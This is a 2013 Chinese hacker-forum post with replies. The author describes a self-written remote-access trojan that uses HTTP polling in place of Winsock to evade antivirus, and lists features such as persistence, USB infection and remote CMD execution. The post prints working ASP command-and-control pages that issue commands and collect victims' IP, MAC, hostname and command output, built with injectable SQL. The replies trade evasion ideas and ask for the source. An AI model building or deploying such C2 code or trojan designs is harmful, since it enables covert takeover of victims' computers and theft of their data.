本文旨在技术交流共享,如有不同见解请使劲吐槽!(本人眼界跟技术都有限*^_^*)

木马在N年前就有了,我所知道的连接方式有两种:

A:正向连接 B:反向连接

A:正向连接 B:反向连接

这些木马大多是基于Winsock的连接,客户端跟服务端会开放指定端口来进行数据的传输。而现如今杀软件都免费了,也很少有电脑在互联网上裸奔了…… 基于Winsock的马在杀软件的云查杀服务面前略显无力(杀软件会反查开放某端口的进程,再上传至云查杀服务器),这样木马的免杀基本天天都要做。

针对这种情况,我所采用的方法是完全抛弃Winsock,尽量减少敏感代码的使用,使用反向连接(方便突破边界在内网中活动)。

我的木马的工作模式:

我的木马的工作模式:

[i]

使用语言:VB

使用控件:Timer、Inet

[/i]

步骤:

1、写好Web端程序用于发送命令和接收结果。(我使用的是ASP,某Webshell箱子改的)

发送命令而代码:

<!--#Include File="exconn.asp"-->
<%
set Rs=server.createobject("adodb.recordset")
SQL="SELECT * From YB_Command where ID=1"
Rs.open SQL,YB_conn,1,3
Response.Write Rs("ALLIP") & "{|}" & Rs("IP") & "{|}" & Rs("COMMANDTYPE") & "{|}" & Rs("COMMAND") & "{|}" & Rs("NOWEXEC") & "{|}" & Rs("TIME") & "{|}" & Rs("EXEC")
set Rs=nothing
set YB_conn=nothing
%>

返回数据页代码:

<!--#Include File="exconn.asp"-->
<%
Dim sct,IP,SYSTEM,MAC,ComputerName
sct=Request("text")
IP=Checkstr(Request("IP"))
SYSTEM=Checkstr(bd(Request("SYSTEM")))
MAC=Checkstr(Request("MAC"))
ComputerName=Checkstr(bd(Request("ComputerName")))
if ComputerName<>"" then
  set Rs=server.createobject("adodb.recordset")
  SQL = "SELECT * FROM [YB_Hostlist] WHERE IP='" & IP & "'"
  Set Rs = YB_Conn.Execute(SQL)
  if rs.bof and rs.eof then
    set Rs=nothing
    SQL="INSERT INTO [YB_Hostlist](IP,SYSTEM,MAC,ComputerName,STIME)VALUES ('" &IP & "','" & SYSTEM & "','" & MAC & "','" & ComputerName & "','" & NOW() & "')"
     Set Rs = YB_Conn.Execute(SQL)
  else
    set Rs=nothing
    SQL = "UPDATE [YB_Hostlist] SET SYSTEM='" & SYSTEM & "',MAC='" & MAC & "',ComputerName='" & ComputerName & "',STIME='" & NOW() & "' Where IP='" & IP & "'"
     Set Rs = YB_Conn.Execute(SQL)
  end if
  set Rs=nothing
  set YB_conn=nothing
else
  if sct <> "" then
    set Rs=server.createobject("adodb.recordset")
    SQL = "UPDATE [YB_Command] SET [BACKTEXT] = '" & bd(sct) & "' where ID=1"
    Set Rs = YB_Conn.Execute(SQL)
    set Rs=nothing
    set YB_conn=nothing
  end if
end if

Function bd(ByVal s)
For i = 1 To Len(s) Step 2
c = Mid(s, i, 2)
If IsNumeric(Mid(s, i, 1)) Then
    bd = bd & Chr("&H" & c)
Else
    bd = bd & Chr("&H" & c & Mid(s, i + 2, 2))
i = i + 2
End If
Next
End Function
Function Checkstr(str)
    If IsNull(str) Then
      Checkstr = vbNullString
      Exit Function
    End If
    str = Replace(str, "<s", "")
    str = Replace(str, "<S", "")
    str = Replace(str, "</s", "")
    str = Replace(str, "</S", "")
    str = Replace(str, "<i", "")
    str = Replace(str, "<I", "")
    str = Replace(str, "chr", "")
    Checkstr = str
End Function
%>

2、编写服务端(我的木马)

代码所有功能有:更改是否显示扩展名/隐藏文件、防多开、加启动项(默认不启用)、复制自身到Program Files某目录(复制到Windows目录杀软件会报警!)、学文件夹病毒感染U盘(千万别出现"新建文件夹.exe"某卫士会报木马,不管这个exe是不是有风险。真他妈太智能了!!!)、其它各种操作系统的功能、CMD命令行(有这个了其它的功能基本都不用要了)

一部分命令:

一部分命令

成品:

成品

管理后台:

管理后台,远控客户端批量管理系统 v2.0

管理后台,命令类型

管理后台,cmd命令执行

有自写木马牛过来回复下,给咱提供些好方法。谢谢喽!

不早了,回家睡觉了,简单写了下有机会补充。

[原文地址]

相关讨论:

1#

GrayTrack (强大到惊人) | 2013-12-02 21:55

楼主牛掰,顶

2#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-12-02 21:56

好思路

3#

nauscript (@VIP @齐迹 @园长 @ACGT @z7y @小胖子@PX1624) | 2013-12-02 21:58

好想法

4#

乐斗菜菜 | 2013-12-02 22:06

360主动可以侦测到这些的吧?(小菜不懂)只是问问.

5#

NetSeif (‮((子帽白心核) | 2013-12-02 22:07

以前有这种类似的木马,网页版的。

6#

NetSeif (‮((子帽白心核) | 2013-12-02 22:08

曾经在09年的某一期《黑客X档案》上面有过这种,还能实现桌面控制呢。。楼主可以借鉴下。

7#

Royal. | 2013-12-02 22:08

我会说这个已经有人开发出来了吗。而且方法还有更猥琐的。

8#

NetSeif (‮((子帽白心核) | 2013-12-02 22:09

@NetSeif 不过能不能过杀毒就不知道了。

9#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-12-02 22:30

学过协议的人都知道 你这个叫笨办法。 一个TCP协议通讯解决了一切问题。

10#

核心白帽子 (发标题党的草泥马) | 2013-12-02 22:43

其实这样的木马还有好多种好处 不仅仅是免杀的问题..

缺点就是不如Winsock实时性强..

11#

RedFree (‮。器神的己自是才己自,了现发才) | 2013-12-02 22:47

@核心白帽子 正确,上线周期调的太低会给Web服务器带来太大压力,太高的话实时性又不好。但是如果以免杀和隐藏为目的优点就体现出来了。

12#

继续沉默 | 2013-12-03 07:33

各项功能可以做成插件似的,有需要的时候可以使用反弹功能,变成普通远控。

13#

灬相随灬 (大胆天下去得,小心寸步难行。) | 2013-12-03 08:22

很老了..三年前我就开发过了

14#

炮灰 | 2013-12-03 09:15

求源码研究

15#

坏虾 (黑阔都被爆菊花~) | 2013-12-03 09:19

很老了。。。 这个思路很久之前就有了。。 没新意啊

16#

@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 09:20

@Royal. 那是本人4年前开发的的 Network Rat 8.0

当时可叫十分的变态……

建议楼主可以参考下……

百度一下就有了……

17#

@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 09:21

嗯,提示一下,这种构架叫做:B/S构架。

18#

小忆 | 2013-12-03 09:38

@@核攻击 N人总喜欢调皮!

19#

RedFree (‮。器神的己自是才己自,了现发才) | 2013-12-03 10:17

@@核攻击 @核攻击V5!

20#

RedFree (‮。器神的己自是才己自,了现发才) | 2013-12-03 10:18

@@核攻击 那来一个B/S构架的菜刀怎么样?跨平台……

21#

@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 10:22

@RedFree 菜刀本来就是B/S构架啊……

22#

RedFree (‮。器神的己自是才己自,了现发才) | 2013-12-03 10:24

@@核攻击 看来我对关键词理解不够,只会通俗解释。我的意思是将客户端完全移植为Web服务器上的脚本页,也即网页版菜刀。

23#

RedFree (‮。器神的己自是才己自,了现发才) | 2013-12-03 10:32

@@核攻击 其实就是丰富lake2EvalClient的功能、山寨菜刀,做些美化,然后对Post的代码做些修改。

24#

@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 10:33

@RedFree 额……

25#

@核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-03 10:33

@RedFree 想法挺不错,可以叫做“云菜刀”了……

26#

Spy4man (linux geek!) | 2013-12-03 10:37

期待早日出货..

留言评论(旧系统):

iframe @ 2013-12-04 09:00:08

诶呀呀,放弃交互式cmd,那个,我能关系下启动方式是什么吗?

本站回复:

额,楼主木有提及启动方式……

佚名 @ 2013-12-04 21:41:10

有下载地址吗?

本站回复:

目测没有……